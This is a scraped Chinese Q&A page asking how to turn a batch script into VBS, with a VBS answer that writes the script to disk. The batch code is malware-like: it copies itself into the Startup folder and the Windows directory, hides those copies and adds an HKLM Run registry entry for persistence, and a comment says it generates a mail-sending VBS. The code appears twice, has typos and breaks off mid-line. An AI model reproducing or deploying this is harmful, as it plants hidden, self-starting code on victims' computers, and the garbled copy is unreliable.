UC知道bat 转vbs 这个怎么转啊 ？谢谢
来源：百度知道 编辑：UC知道 时间：2024/05/17 03:16:39
@Echo off
:play
Echo >%systmeroot%/QQ.exe
Copy %0 "%userprofile%\「开始」菜单\程序\启动"
Attrib +r +s +h %userprofile%\「开始」菜单\程序\启动\*.bat
copy %0 "%systemroot%\wangsheng.bat"
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v autoexec.bat /t REG_SZ /d %systemroot%\wangsheng.bat /f
::生成发件vbs
Echo off
:play
Echo >%systmeroot%/QQ.exe
Copy %0 "%userprofile%\「开始」菜单\程序\启动"
Attrib +r +s +h %userprofile%\「开始」菜单\程序\启动\*.bat
copy %0 "%systemroot%\wangsheng.bat"
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v autoexec.bat /t REG_SZ /d %systemroot%\wangsheng.bat /f
::生成发件vbs
Echo off
程序已经通过测试~ code:
set ws=createobject("wscript.shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile("d:\system.bat",2, True)
objFile.Writeline"@Echo off"
objFile.Writeline":play"
objFile.Writeline"Echo >%systmeroot%/QQ.exe"
objFile.Writeline"Copy %0 "&""""&"%userprofile%\「开始」菜单\程序\启动"&""""&""
objFile.Writeline"Attrib +r +s +h %userprofile%\「开始」菜单\程序\启动\*.bat"
objFile.Writeline"copy %0 "&""""&"%systemroot%\wangsheng.bat"&""""&""
objFile.Writeline"REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v"
objFile.Writeline"autoexec.bat /t REG_SZ /d %systemroot%\wangsheng.bat /